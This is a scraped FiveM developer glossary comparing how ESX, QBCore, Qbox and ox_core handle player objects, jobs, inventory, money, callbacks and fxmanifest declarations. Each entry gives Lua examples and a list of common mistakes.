Ejemplo · The player object in three frameworks -- ESX local xPlayer = ESX.GetPlayerFromId(src) if not xPlayer then return end xPlayer.addMoney(500) local job = xPlayer.getJob().name local count = xPlayer.getInventoryItem('water').count -- QBCore local Player = QBCore.Functions.GetPlayer(src) if not Player then return end Player.Functions.AddMoney('cash', 500, 'reason') local job = Player.PlayerData.job.name local count = Player.Functions.GetItemByName('water').amount -- Qbox local player = exports.qbx_core:GetPlayer(src) local count = exports.ox_inventory:GetItemCount(src, 'water')En qué se equivoca todo el mundo
- Not checking for nil. GetPlayerFromId returns nil if the character is not loaded, and that is where «attempt to index a nil value» is born.
- Trusting an id the client sends inside the event data instead of using the source variable.
- Caching the xPlayer in a global across events. When the player reconnects that object is stale, you have to request it again.
Relacionado Player (QBCore), ESX, player identifier (identifier, citizenid)- Player (QBCore)QBCoreQbox
The player object in QBCore and Qbox. Its data lives in Player.PlayerData (job, gang, money, charinfo, metadata) and its actions in Player.Functions (AddMoney, SetJob, AddItem).
The split between PlayerData and Functions is what you have to internalise. Everything you read is in PlayerData, everything that modifies is in Functions. If you try to write directly to PlayerData.money.cash it does not save to the database nor notify anyone, so the change is lost and the economy drifts.
PlayerData is a fairly rich table compared to ESX. There you have citizenid, charinfo with first and last name, job with its grade, gang, money with cash and bank, and metadata with hunger, thirst, stress or whatever you add.
In Qbox the object is the same inside, but you request it with exports.qbx_core:GetPlayer(src) and many operations also have a direct export that saves the intermediate step.
Ejemplo · Read with PlayerData, write with Functions local Player = QBCore.Functions.GetPlayer(src) if not Player then return end -- READ local cid = Player.PlayerData.citizenid local job = Player.PlayerData.job.name local level = Player.PlayerData.job.grade.level -- the number is here local cash = Player.PlayerData.money.cash local name = Player.PlayerData.charinfo.firstname .. ' ' .. Player.PlayerData.charinfo.lastname -- WRITE (never touching PlayerData directly) Player.Functions.AddMoney('bank', 500, 'payroll') Player.Functions.SetJob('police', 2) Player.Functions.SetMetaData('stress', 50)En qué se equivoca todo el mundo
- Assigning Player.PlayerData.money.cash = 1000 by hand. It does not persist, you use Player.Functions.AddMoney or SetMoney.
- Reading the rank with job.grade instead of job.grade.level and ending up comparing a table with a number.
- Translating xPlayer.getJob() to Player.Functions.GetJob(). That function does not exist, the job is read in Player.PlayerData.job.
Relacionado xPlayer, QBCore, player metadata- player metadataESXQBCoreQbox
Free-form data attached to the character that the framework saves and restores by itself (hunger, thirst, stress, cuffed state, licences). In QBCore and Qbox it is native, in ESX Legacy it is done with getMeta and setMeta or with separate resources.
Metadata solves a very specific problem. You want to store something about the character the framework does not cover (a gang's points, a craft level, an injury) and you do not feel like creating a new database table nor managing its load and save.
In QBCore and Qbox it is first-class. You read it in Player.PlayerData.metadata and write it with Player.Functions.SetMetaData(key, value), and the core persists it with the rest of the character.
In ESX it was not native for years, and that is the origin of esx_status and half a dozen hunger and thirst resources. Modern ESX Legacy does expose getMeta and setMeta on the xPlayer, but before using them check your version has them, because many servers run an older Legacy that does not.
Do not use it as a junk drawer. Everything you put there loads and saves with every character, so stuffing huge tables in it ends up costing you performance on every connection.
Ejemplo · The same hunger in three frameworks -- QBCore local hunger = Player.PlayerData.metadata['hunger'] Player.Functions.SetMetaData('hunger', 100) -- Qbox local hunger = player.PlayerData.metadata.hunger player.Functions.SetMetaData('hunger', 100) -- ESX Legacy 1.9+ (if your version has it) local hunger = xPlayer.getMeta('hunger') xPlayer.setMeta('hunger', 100) -- If your ESX is older, this comes from esx_status, not the core.En qué se equivoca todo el mundo
- Assuming xPlayer.getMeta exists in any ESX. In old versions it is not there and you get «attempt to call a nil value».
- Storing huge objects in metadata (histories, lists of hundreds of entries) and slowing down character loading.
- Writing metadata from the client. Like anything that grants an advantage, it is written on the server and only after validating.
Relacionado Player (QBCore), xPlayer, job- jobESXQBCoreQboxox
The character's job (police, ambulance, mechanic) with its associated rank. It is what scripts use to decide who can open the armory, take out a duty vehicle or collect a paycheck.
The job is the roleplay permission system. It is not the same as the server's ACE permissions, which are for administration. The job says what your character can do within the fiction, and almost every job resource checks it on the server before letting you do anything.
Where it lives changes by framework. In ESX jobs are in the database, in the jobs and job_grades tables, so creating one is an INSERT and restarting es_extended. In QBCore and Qbox they are code, they live in shared/jobs.lua, so creating one is editing a file and restarting the core.
QBCore and Qbox add two things ESX does not have out of the box. On-duty state (job.onduty) to separate the working police officer from the one in plain clothes, and off-duty pay (offDutyPay). In ESX duty comes from the police or ambulance resource, not the core.
Always check the job on the SERVER. If you only check it on the client, anyone with a cheat menu makes themselves police and opens your armory.
Ejemplo · Reading and assigning the job in each framework -- READ -- ESX local job = xPlayer.getJob().name -- and .grade (number), .grade_name, .grade_label -- QBCore local job = Player.PlayerData.job.name -- and .grade.level, .grade.name, .onduty -- Qbox local job = player.PlayerData.job.name -- and .grade.level, .onduty -- ASSIGN (always on the server, the grade is a NUMBER) xPlayer.setJob('police', 2) -- ESX Player.Functions.SetJob('police', 2) -- QBCore exports.qbx_core:SetJob(src, 'police', 2) -- Qbox -- ox_core uses groups: player.setGroup('police', 2)En qué se equivoca todo el mundo
- Passing the grade as text, setJob('police', '2'). It is always a number, with quotes it fails.
- Looking for Player.PlayerData.job.onduty in ESX. It does not exist, ESX Legacy has no native duty.
- Validating the job only on the client and leaving the server event open to anyone.
Ver la guía relacionadaRelacionado grade (job rank), gang, society and boss menu- gangQBCoreQbox
The criminal counterpart of the job in QBCore and Qbox, with its own name and rank, coexisting with the character's legal job. ESX has no native gangs.
The point of the gang is that it is a parallel lane to the job. A character can be a mechanic and a gang member at the same time, and scripts can check one or the other without them clashing. It lives in Player.PlayerData.gang, is declared in shared/gangs.lua and assigned with SetGang.
Gangs do not pay a salary. In a gang's grade table you do not set payment, because their economy comes from roleplay and from what they steal, not from a state wage.
In ESX the concept does not exist. If you want gangs with ESX you have two paths, set them up as a normal job (and give up the character having a legal job at the same time) or install a separate gang resource that handles it on its own.
Ejemplo · Gangs in QBCore and Qbox, and how they are emulated in ESX -- QBCore / Qbox: read local gang = Player.PlayerData.gang.name local rank = Player.PlayerData.gang.grade.level -- Assign (server) Player.Functions.SetGang('lostmc', 1) -- QBCore exports.qbx_core:SetGang(src, 'lostmc', 1) -- Qbox -- qb-core/shared/gangs.lua (no payment: gangs earn no salary) -- ['lostmc'] = { -- label = 'The Lost MC', -- grades = { -- ['0'] = { name = 'Prospect' }, -- ['1'] = { name = 'Member' }, -- ['2'] = { name = 'President', isboss = true }, -- }, -- }, -- ESX: no gangs. Set it up as a normal job in the jobs and job_grades tables.En qué se equivoca todo el mundo
- Looking for xPlayer.getGang() in ESX. It does not exist, ESX has no native gangs.
- Putting payment in a gang's grades expecting them to get paid. Gangs have no payroll.
- Checking the gang on the client to open a stash. Like the job, it is validated on the server.
Ver la guía relacionadaRelacionado job, grade (job rank), QBCore- grade (job rank)ESXQBCoreQbox
The character's level within their job or gang, always a number (0 the lowest). It defines the salary, access to the boss menu and what they can do inside the job.
The grade is the number that causes the most silly errors in FiveM. It is passed as a number, never as text, and setJob('police', '2') fails in all three frameworks without telling you quite why.
Where you read it changes, and that is the second trap. In ESX the number is in xPlayer.getJob().grade, and separately you have grade_name and grade_label for the short and display names. In QBCore and Qbox job.grade is a TABLE, and the number is inside, in job.grade.level. If you compare job.grade with 2 in QBCore you are comparing a table with a number, so it is never true.
The grade is also where you mark who is in charge. In QBCore and Qbox you set isboss = true on the right grade and the boss menu appears by itself. In ESX the boss is the highest grade of the society, and you have to register it separately.
Ejemplo · The same number in three different places -- ESX: the grade IS the number if xPlayer.getJob().grade >= 3 then -- in charge end -- QBCore / Qbox: the number is in grade.level if Player.PlayerData.job.grade.level >= 3 then -- in charge end -- Classic QBCore error (compares a table with a number, never enters) -- if Player.PlayerData.job.grade >= 3 then ... end -- Assign: NUMBER, not string xPlayer.setJob('police', 2) -- ESX Player.Functions.SetJob('police', 2) -- QBCore exports.qbx_core:SetJob(src, 'police', 2) -- QboxEn qué se equivoca todo el mundo
- Passing the grade in quotes ('2'). Always a number.
- Using job.grade in QBCore as if it were the level. The level is job.grade.level.
- Assuming grade 0 does not exist. 0 is the lowest rank, not the absence of a job.
Relacionado job, society and boss menu, gang- inventoryESXQBCoreQboxox
The system that stores what the character carries and persists it on disconnect. Today the standard option is ox_inventory, which replaces the native inventory of both ESX and QBCore.
Here is the rule most people break. If the server has ox_inventory installed, items go through ITS exports even if the core is ESX or QBCore. Keeping xPlayer.addInventoryItem or Player.Functions.AddItem with ox_inventory in front leads to ghost items, drift and duplication.
The three worlds you will run into are ESX's native inventory (items declared in the database items table, with per-unit weight), QBCore's native one (declared in qb-core/shared/items.lua, with image and useable flag) and ox_inventory (declared in ox_inventory/data/items.lua, with slots, real weight and per-item metadata).
ox_inventory is what Qbox and ox_core use by default, and it is what almost every serious ESX and QBCore server migrates to. Its advantage is not just the interface, it is per-item metadata (a phone with its number, a bag with its contents, a weapon with its ammo and its serial) and hooks that let you validate every move.
To know which one you have, look at the server's resources. If ox_inventory appears, that is the truth, regardless of what the core says.
Ejemplo · Give, remove and count an item in each inventory -- ESX (native inventory) xPlayer.addInventoryItem('water', 1) xPlayer.removeInventoryItem('water', 1) local n = xPlayer.getInventoryItem('water').count -- QBCore (native inventory) Player.Functions.AddItem('water', 1) Player.Functions.RemoveItem('water', 1) local n = Player.Functions.GetItemByName('water').amount -- ox_inventory (SERVER). Works with any core: ESX, QBCore, Qbox or ox. exports.ox_inventory:AddItem(src, 'water', 1) exports.ox_inventory:RemoveItem(src, 'water', 1) local n = exports.ox_inventory:GetItemCount(src, 'water') -- Before giving something heavy, check it fits if exports.ox_inventory:CanCarryItem(src, 'water', 1) then exports.ox_inventory:AddItem(src, 'water', 1) endEn qué se equivoca todo el mundo
- Using the core's AddItem with ox_inventory installed. Items you create that way do not match the real inventory.
- Declaring the item in one place and giving it from another. If the item does not exist in the definition of the inventory in charge, it is not delivered and does not always warn.
- Giving items from the client. Anything with value is delivered on the server and after validating.
- item and usable itemESXQBCoreQboxox
An item is an object declared in the inventory (name, label, weight). It is usable when clicking it fires code, and that is where each framework does something different.
Creating an item is always two steps, declaring it and giving it a behaviour. Declaring it is telling the inventory that name exists, and without that it cannot even be delivered. Giving it behaviour is what happens when the player uses it.
The first step changes place in each inventory. In ESX it is a row in the database items table. In QBCore it is an entry in QBShared.Items inside qb-core/shared/items.lua with useable = true. In ox_inventory it is an entry in ox_inventory/data/items.lua.
The second step is where the trap is. ESX registers it in code with ESX.RegisterUsableItem and QBCore with QBCore.Functions.CreateUseableItem, both on the server. But ox_inventory uses NEITHER, it defines the effect inside the item declaration itself, in the client block with status, anim, prop or export. If you have ox_inventory and write a RegisterUsableItem, it never runs.
The item name is the key that ties it all together. It has to be identical in the declaration, in the code that gives it and in the code that consumes it, lowercase and without spaces.
Ejemplo · The same water, declared and usable in three systems -- ESX (server): the item exists in the database items table ESX.RegisterUsableItem('water', function(src) local xPlayer = ESX.GetPlayerFromId(src) xPlayer.removeInventoryItem('water', 1) TriggerClientEvent('esx:showNotification', src, 'You drank water') end) -- QBCore (server): the item is in qb-core/shared/items.lua with useable = true QBCore.Functions.CreateUseableItem('water', function(src, item) local Player = QBCore.Functions.GetPlayer(src) if not Player.Functions.GetItemByName(item.name) then return end Player.Functions.RemoveItem('water', 1, item.slot) TriggerClientEvent('QBCore:Notify', src, 'You drank water') end) -- ox_inventory: RegisterUsableItem is NOT used. The effect goes in data/items.lua -- ['water'] = { -- label = 'Water', -- weight = 500, -- stack = true, -- close = true, -- client = { -- status = { thirst = 200000 }, -- anim = 'drinking', -- usetime = 2500, -- }, -- },En qué se equivoca todo el mundo
- Writing a RegisterUsableItem or a CreateUseableItem on a server with ox_inventory. It never fires, the use is defined in data/items.lua.
- Declaring the item with useable = true in QBCore and not creating the CreateUseableItem. The item can be clicked but does nothing.
- Putting the item in the inventory and forgetting the image. In qb-inventory, an item with no PNG looks broken even if it works.
- target (ox_target, qb-target)ESXQBCoreQboxox
The look-at interaction system. You point at an entity or a zone and a menu of contextual actions appears, instead of hunting for a key or a marker.
Target replaced markers and distance loops for two reasons. The first is for the player, because you discover what you can do with something just by looking at it. The second is performance, because instead of twenty resources checking the distance to their points every frame, target resolves it once for all of them.
There are two alive today. ox_target is the modern standard and is mandatory in Qbox and ox_core. qb-target is QBCore's classic, still works and many resources require it. The two do the same thing but with different names and signatures, and the difference that trips people up most is how you restrict an action by job, groups in ox_target and job in qb-target.
Either one works with any core. You can have ESX with ox_target no problem, and in fact it is a very common combination.
Ejemplo · The same action on an ATM in ox_target and qb-target -- ox_target (client): on models exports.ox_target:addModel({ 'prop_atm_01', 'prop_atm_02' }, { { name = 'my_resource:openAtm', icon = 'fas fa-credit-card', label = 'Use ATM', groups = { 'police' }, -- job restriction: 'groups' distance = 2.0, onSelect = function() TriggerEvent('my_resource:openAtm') end, }, }) -- qb-target (client): same result, different signature exports['qb-target']:AddTargetModel({ 'prop_atm_01', 'prop_atm_02' }, { options = { { type = 'client', event = 'my_resource:openAtm', icon = 'fas fa-credit-card', label = 'Use ATM', job = { 'police' }, -- job restriction: 'job' }, }, distance = 2.0, })En qué se equivoca todo el mundo
- Installing qb-target on a Qbox server. The stack is ox, so it is ox_target.
- Trusting the target's job filter as security. It is only interface, the server event has to re-check the job.
- Registering the target inside a loop or a repeating event and ending up with the same option duplicated twenty times.
Relacionado PolyZone and zones, job, ox_lib- PolyZone and zonesESXQBCoreQboxoxStandalone
Zones are regions of the map that detect when the player enters or leaves. PolyZone is the classic library (BoxZone, CircleZone), and today the modern option is ox_lib's lib.zones.
A zone saves you from FiveM's worst pattern, the loop that computes distances every frame. Instead you declare the region once and get notified on enter and on exit, so the resmon cost drops to almost zero when the player is far away.
PolyZone is the veteran library. You create the zone with BoxZone:Create or CircleZone:Create and hook onPlayerInOut, and many QBCore resources still depend on it. It has to be declared in the fxmanifest of the resource that uses it.
In modern servers it is replaced by ox_lib's lib.zones, which does the same with box, sphere or poly, with onEnter, onExit and inside, and without installing an extra library if you already have ox_lib. And if what you want is a menu of actions and not just detecting entry, then what you are after is target, not a zone.
Ejemplo · The same zone in PolyZone and in ox_lib -- PolyZone (classic, requires PolyZone in the fxmanifest) local zone = CircleZone:Create(vector3(-1105.0, -833.0, 19.0), 2.5, { name = 'shop_zone', useZ = true, }) zone:onPlayerInOut(function(isPointInside) if isPointInside then exports['qb-core']:DrawText('[E] Open shop', 'left') else exports['qb-core']:HideText() end end) -- ox_lib (modern, no extra library if you already use ox_lib) lib.zones.sphere({ coords = vec3(-1105.0, -833.0, 19.0), radius = 2.5, onEnter = function() lib.showTextUI('[E] Open shop') end, onExit = function() lib.hideTextUI() end, })En qué se equivoca todo el mundo
- Creating the zone inside a repeating CreateThread. Each loop makes a new zone and performance collapses.
- Using PolyZone without declaring it in the fxmanifest and getting an «attempt to index a nil value (global 'CircleZone')».
- Building a zone with a hand-rolled distance loop when target or lib.zones already give it to you solved and cheaper.
Relacionado target (ox_target, qb-target), ox_lib, framework- notificationsESXQBCoreQboxox
The short on-screen message shown to the player. Each framework ships its own (ESX.ShowNotification, QBCore.Functions.Notify) and ox_lib offers lib.notify, which works in all of them.
It looks like a detail and it is the first thing that gives you away when porting a script. The three signatures are different, so an ESX.ShowNotification inside a QBCore server shows nothing and usually fails silently.
ESX is the simplest, a text and done. QBCore adds the type (success, error, primary) to paint the colour. ox_lib takes a table with title, description and type, and it is the most complete besides being the only one that works the same with any core.
If you are writing something you want to work on several servers, use lib.notify and save yourself the problem. If you maintain a resource that must keep working on ESX and on QBCore, wrap the notification in a function of your own and call that, which is exactly what bridges do.
Notifications are client-side, always. From the server you fire them with TriggerClientEvent towards the specific player.
Ejemplo · Three different signatures and how to unify them -- ESX (client) ESX.ShowNotification('You got paid') -- QBCore (client) QBCore.Functions.Notify('You got paid', 'success') -- ox_lib (client): works with ESX, QBCore, Qbox and ox lib.notify({ title = 'Payroll', description = 'You got paid', type = 'success', -- success | error | inform | warning }) -- Unified function (the bridge pattern) local function notify(text, kind) if GetResourceState('ox_lib') == 'started' then lib.notify({ description = text, type = kind or 'inform' }) elseif GetResourceState('qb-core') == 'started' then exports['qb-core']:GetCoreObject().Functions.Notify(text, kind or 'primary') else exports['es_extended']:getSharedObject().ShowNotification(text) end endEn qué se equivoca todo el mundo
- Leaving an ESX.ShowNotification in a script ported to QBCore. Nothing shows and it does not always warn in the console.
- Passing QBCore.Functions.Notify a type that does not exist. The valid ones are success, error and primary.
- Calling the notification from the server as if it were client-side. It has to be sent with TriggerClientEvent to the source.
Relacionado ox_lib, framework, framework callback- framework callbackESXQBCoreQboxox
The mechanism the client uses to ASK the server something and wait for an answer (how much money do I have, do I own the key to this house). Each framework has its own, and ox_lib offers lib.callback.
A normal event is one-way. A callback is round-trip, which is why it is the right tool when the client needs a piece of data only the server truly knows. Never cache that data on the client to skip the question, because the client is manipulable.
ESX does it with ESX.RegisterServerCallback on the server and ESX.TriggerServerCallback on the client, and the answer arrives via a callback function. QBCore does the same with CreateCallback and TriggerCallback. Both share the same trap, if your server function does not call cb(...) the client waits forever.
ox_lib changed the pattern and it is what is used in Qbox and in ox. On the server you register with lib.callback.register and simply return. On the client lib.callback.await returns the value as if it were a normal call, with no nested functions.
ox_lib's await can only be called inside a thread or an event. If you put it at the root of the script, during resource load, it hangs.
Ejemplo · The same balance requested three ways -- ESX -- server.lua ESX.RegisterServerCallback('my_resource:balance', function(source, cb) local xPlayer = ESX.GetPlayerFromId(source) cb(xPlayer.getAccount('bank').money) -- you ALWAYS have to call cb end) -- client.lua ESX.TriggerServerCallback('my_resource:balance', function(balance) print(balance) end) -- QBCore -- server.lua QBCore.Functions.CreateCallback('my_resource:balance', function(source, cb) local Player = QBCore.Functions.GetPlayer(source) cb(Player.PlayerData.money.bank) end) -- client.lua QBCore.Functions.TriggerCallback('my_resource:balance', function(balance) print(balance) end) -- ox_lib (Qbox / ox): with return and await, no nesting -- server.lua lib.callback.register('my_resource:balance', function(source) return exports.qbx_core:GetMoney(source, 'bank') end) -- client.lua (inside a thread or an event, never at the root) CreateThread(function() local balance = lib.callback.await('my_resource:balance', false) print(balance) end)En qué se equivoca todo el mundo
- Forgetting the cb(...) in ESX or QBCore. The client hangs waiting for an answer that never comes.
- Calling lib.callback.await during resource load, outside a thread. It blocks.
- Trusting what the client sends inside the callback. The server has to validate just like in any other event.
Relacionado ox_lib, framework, notifications- money (cash, bank, black_money)ESXQBCoreQbox
The character's balance, split into cash and bank. ESX models it as accounts (money, bank, black_money) and QBCore as money types (cash, bank, crypto).
In ESX cash is an account called money, and the trap that takes down half the world is that addMoney(n) operates on that account, not on the bank. For the bank you have to say so explicitly with addAccountMoney('bank', n). Confusing them drifts the server economy without any error showing up.
In QBCore and Qbox there are no accounts, there are types, and the type is always passed as the first argument. AddMoney('cash', 500, 'reason') or AddMoney('bank', 500, 'reason'). The third argument is the reason, and although it is optional, in practice it is what saves you when you have to audit where the money came from.
Black money is the biggest conceptual difference. ESX ships it as a separate account, black_money, laundered through a business. QBCore and Qbox do not have that account, they model it with an item (marked bills, markedbills) or with crypto. Porting an ESX laundering script to QBCore without noticing this is a guarantee it will not work.
Anything that touches money runs on the server. No exceptions. A server event that receives the amount from the client and adds it without validating is exactly where the millions get duplicated.
Ejemplo · ESX accounts versus QBCore types -- ESX: cash and bank are separate ACCOUNTS xPlayer.addMoney(500) -- cash (the 'money' account) xPlayer.addAccountMoney('bank', 500) -- bank xPlayer.removeAccountMoney('bank', 500) local balance = xPlayer.getAccount('bank').money xPlayer.addAccountMoney('black_money', 500) -- black money, native in ESX -- QBCore: the type goes as the first argument Player.Functions.AddMoney('cash', 500, 'sale') Player.Functions.AddMoney('bank', 500, 'payroll') Player.Functions.RemoveMoney('bank', 500, 'fine') local balance = Player.PlayerData.money.bank -- No black money account: it is modelled with an item (markedbills) or crypto. -- Qbox: direct exports exports.qbx_core:AddMoney(src, 'bank', 500, 'payroll') local balance = exports.qbx_core:GetMoney(src, 'bank')En qué se equivoca todo el mundo
- Using xPlayer.addMoney thinking it deposits into the bank. It touches cash.
- Looking for the black_money account in QBCore. It does not exist, there dirty money is an item.
- Accepting the amount the client sends without checking it. It is the most common duplication exploit there is.
- player identifier (identifier, citizenid)ESXQBCoreQboxox
The key the framework recognises a character by across sessions. In ESX it is the identifier (based on the license), in QBCore and Qbox it is the citizenid, and in ox_core it is the charId.
Do not confuse three things people mix up constantly. The source is the player's connection number and changes on every reconnection, so it works to talk to them now but not to store in the database. The license identifies the Rockstar account and never changes. And the identifier or citizenid identifies the CHARACTER, which is what you want to store.
The practical difference between ESX and QBCore is big. In ESX the identifier is the player's license, so a player has one identifier and that is it. In QBCore and Qbox the citizenid belongs to the character, and one license can have several characters with different citizenids, which is how multicharacter works.
That is why they are incompatible and cannot be mixed. Your own table with an identifier column cannot be reused as-is on a QBCore server, and migrating from one framework to the other means translating that key across all your tables.
For admin and bans, use the license or the native identifiers with GetPlayerIdentifierByType(src, 'license'), which do not depend on the framework and survive a character wipe.
Ejemplo · The character's key in each framework -- ESX: identifier (the player's license) local id = xPlayer.identifier -- 'license:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' -- QBCore / Qbox: citizenid (of the CHARACTER, not the account) local id = Player.PlayerData.citizenid -- ox_core local id = player.charId -- FiveM native, framework-independent (useful for bans and logs) local license = GetPlayerIdentifierByType(src, 'license') -- Storing in your table: use the character's identifier, NEVER the source -- MySQL.insert('INSERT INTO my_table (owner, data) VALUES (?, ?)', { id, data })En qué se equivoca todo el mundo
- Storing the source in the database. When the player reconnects that number belongs to someone else.
- Mixing citizenid and identifier in the same table when porting a script. They are different formats and do not match.
- Assuming a player has a single character in QBCore. Multicharacter is the norm, and each character has its own citizenid.
Relacionado xPlayer, Player (QBCore), ox_core
Recursos y scripting
Cómo se organiza y arranca el código.
- resource
The basic unit of FiveM. A folder inside resources/ with its fxmanifest.lua and its scripts. A server is nothing more than a pile of resources started with ensure.
There is no such thing as a loose script in FiveM. Everything that runs on your server lives inside a resource, and each resource is a fairly sealed box with its own name, its own events and its own exports. That separation is what lets you stop, start or restart one piece without touching the rest of the server.
A resource has three possible sides. The client runs on each player's PC (it draws, reads keys, shows the world). The server runs on your machine and is the authority. Shared code loads on both and holds the config and common data tables. Which file goes to which side is your call in fxmanifest.lua, and getting the side wrong is one of the most common causes of weird errors.
A resource can be a script, a map (MLO), a car pack or a NUI interface. The contents change, the structure does not. A folder in square brackets ([esx], [maps], [local]) is not a resource, it only groups resources, which is why it has no fxmanifest.lua.
A practical rule that saves grief. One resource, one responsibility. It is far better to have mi_hud and mi_garage separate than one mega resource that does everything, because when something breaks you will want to restart just the broken piece.
Ejemplo · The minimum anatomy of a resource resources/ └── [local]/ └── my_resource/ ├── fxmanifest.lua -- required, defines the resource ├── config.lua -- shared: loads on both sides ├── client.lua -- runs on the player's PC (NOT trusted) └── server.lua -- runs on your server (the authority)En qué se equivoca todo el mundo
- Putting the folder outside resources/. FiveM will never find it, no matter how many ensures you write.
- Names with capitals, spaces or accents. Use lowercase and underscores (my_garage, never 'My Garage').
- Mistaking a group for a resource and trying ensure [maps]/my_map. The resource is called my_map, the brackets only group it.
- fxmanifest.lua
The file that defines a resource. It declares which scripts load on each side, which files the client needs, the dependencies and the manifest version. Without it, the resource does not start.
fxmanifest.lua is not code that runs, it is a declaration. The server reads it when the resource starts to learn which files exist, in what order to load them and on which side. If the manifest lies (declares a file that is not there, or forgets one that is needed), the resource stays red and the console spits out a couldn't start resource.
Its structure is always the same. The two mandatory lines at the top (fx_version and game), then the metadata (name, author, description, version), then the script blocks (shared_scripts, client_scripts, server_scripts) and finally the resource-specific bits (files, ui_page, data_file, dependencies).
It accepts wildcards, so you do not have to list files one by one. client_scripts { 'client/*.lua' } loads every .lua in that folder, though alphabetical order rules, and that matters if one file depends on another. When order is critical, list the files by hand in the order you want.
The @ prefix loads a file from ANOTHER resource. That is how ox_lib, oxmysql or the ESX imports get pulled in, and it is the source of the classic lib nil error when you forget to add it.
Ejemplo · A complete, correct fxmanifest.lua fx_version 'cerulean' game 'gta5' name 'my_resource' author 'YourName' description 'My FiveM resource' version '1.0.0' -- Shared, loads on client AND server shared_scripts { '@ox_lib/init.lua', -- the @ loads a file from ANOTHER resource 'config.lua', } client_scripts { 'client/*.lua' } server_scripts { '@oxmysql/lib/MySQL.lua', 'server/*.lua', } dependencies { 'ox_lib', 'oxmysql', }En qué se equivoca todo el mundo
- Forgetting fx_version or game. They are mandatory and without them the resource is not even attempted.
- Declaring a file that does not exist with that exact name. FiveM is case sensitive on Linux, so Client.lua is not client.lua.
- Putting '@ox_lib/init.lua' in client_scripts instead of shared_scripts. Then lib is nil on the server and you cannot see why.
- fx_version and game
The two mandatory lines of every fxmanifest. fx_version sets the version of the manifest format (today always 'cerulean') and game the target game ('gta5' for FiveM, 'rdr3' for RedM).
fx_version is not your resource's version, it is the version of the manifest format itself. Each version (adamant, bodacious, cerulean) added behaviour to the runtime. Today the right answer is always 'cerulean', the one that enables everything modern. Copying an old manifest with 'adamant' gives you strange behaviour you will not be able to explain.
game says which game the resource is for. 'gta5' is FiveM. 'rdr3' is RedM, and it also forces an rdr3_warning line accepting it is a prerelease build. If you write a server-only resource that works for both you can put game 'common', though you will rarely need it.
If either line is missing, the resource does not start, full stop. It is the first thing to check when the console says couldn't start resource without further hints.
Ejemplo · The two lines without which nothing works -- FiveM (the usual) fx_version 'cerulean' game 'gta5' -- RedM (needs the warning as well) -- fx_version 'cerulean' -- game 'rdr3' -- rdr3_warning 'I acknowledge that this is a prerelease build of RedM, and I am aware my resources *will* become incompatible once RedM ships.'En qué se equivoca todo el mundo
- Copying an old fxmanifest with fx_version 'adamant' or 'bodacious' and dragging along limits nobody has anymore.
- Writing game 'gtav' or game 'GTA5'. It is exactly 'gta5', lowercase.
- Confusing fx_version with your resource version. That one goes on the version line.
Relacionado fxmanifest.lua, resource version (version), lua54- files and ui_page
files declares the non-script files the client must be able to download (HTML, CSS, images, .meta). ui_page tells FiveM which of those HTML files renders as the NUI interface over the game.
The client can only read a resource file if it is declared. A script is declared with client_scripts, but an index.html, a style.css, a font or a vehicle .meta need to be in the files block. Skip it and the file simply does not exist for the client, and your NUI shows up blank with no clear error in the console.
ui_page points at the page drawn as the NUI layer. It can be a local path ('html/index.html'), and that same path also has to appear in files. It is the number one mistake of a first NUI, declaring ui_page and forgetting files.
files accepts wildcards, so 'html/**/*' or 'html/img/*.png' save you listing fifty files. Even so, for React or Vue builds declare the whole compiled folder, not the sources.
There is a close cousin of files worth telling apart. data_file registers a file as native game data (a handling.meta, a vehicles.meta), and usually comes alongside its files entry. One makes the file travel, the other makes the game understand it.
Ejemplo · ui_page always with its matching files -- fxmanifest.lua ui_page 'html/index.html' files { 'html/index.html', 'html/style.css', 'html/app.js', 'html/img/*.png', } -- A vehicle .meta needs BOTH lines files { 'data/vehicles.meta' } data_file 'VEHICLE_METADATA_FILE' 'data/vehicles.meta'En qué se equivoca todo el mundo
- Setting ui_page and not listing the HTML in files. Result, empty NUI screen and no hint in the console.
- Paths that do not match on case. On a Linux server html/Index.html is not html/index.html.
- Declaring the .meta in files but forgetting the data_file (or the other way round). Both are needed.
Relacionado fxmanifest.lua, NUI, resource- dependencies
The fxmanifest block that declares which other resources must be running for yours to work. If one is missing, the resource does not start and the console tells you which.
dependencies is a check, not an installer. FiveM looks at whether those resources are running the moment yours starts. If they are not, yours refuses to start. What it does NOT do is start them for you or reorder your server.cfg, so the order is still on you, set by the ensures.
It is worth declaring even if the server boots fine today. The day someone stops oxmysql to debug something, your resource will fail with an honest message (oxmysql missing) instead of an attempt to index a nil value deep inside one of your functions at three in the morning.
There are special dependencies that are not resources. dependency '/server:5848' requires a minimum artifact version, '/onesync' requires OneSync on and '/gameBuild:2802' a specific game build. They use the singular dependency form because they go alone.
And there is a classic trap. Declaring the dependency does not spare you from waiting. If your resource reads something from another one at load time, the other may have started but not finished initialising. The robust way is to ask for things inside a thread or an event, not on the first line of the file.
Ejemplo · dependencies checks, it does not start -- Several dependencies dependencies { 'es_extended', 'oxmysql', 'ox_lib', } -- A single one, or the special ones, in singular form dependency 'ox_target' dependency '/onesync' dependency '/server:5848' -- minimum artifactEn qué se equivoca todo el mundo
- Believing dependencies orders the boot. The real order is set by server.cfg, this only verifies.
- Writing the resource name with a hyphen when it uses an underscore (ox-lib instead of ox_lib). It is not found and does not start.
- Depending on a resource and still reading it at file load, without waiting for it to be ready.
- provide
The fxmanifest line where a resource declares it replaces another one. It lets scripts that depend on the original accept your replacement without touching their code.
The typical case is a notification system. Half the city of scripts ships with dependency 'mythic_notify' and you want to use your own resource. If your resource declares provide 'mythic_notify', those scripts see their dependency satisfied and start, while you take care of registering the same events or exports they expect.
provide only resolves the dependency check and the name. It does NOT implement the original's API. You still have to expose the same events and exports with the same signatures, or the scripts will start and then fail when they call you. It is a promise you have to keep by hand.
An important consequence. You cannot have the original resource and one that provides it running at the same time, because the name collides and one of them gets left out. If you migrate to a replacement, remove the original's ensure.
It is the basis of so-called bridges, those resources that pretend to be qb-core or es_extended so old scripts keep working on top of a modern core like qbx_core.
Ejemplo · provide satisfies the dependency, you replicate the API -- fxmanifest.lua of my_notify, a replacement for mythic_notify fx_version 'cerulean' game 'gta5' provide 'mythic_notify' client_scripts { 'client.lua' } -- client.lua: you must replicate the API the other scripts expect RegisterNetEvent('mythic_notify:client:SendAlert', function(data) lib.notify({ description = data.text, type = data.type }) end)En qué se equivoca todo el mundo
- Setting provide and not implementing the original's events or exports. Scripts start and blow up on first use.
- Leaving the original resource and the one that provides it both running. The name clashes.
- Using provide to 'trick' a paid script about its real dependency. You will end up debugging a ghost.
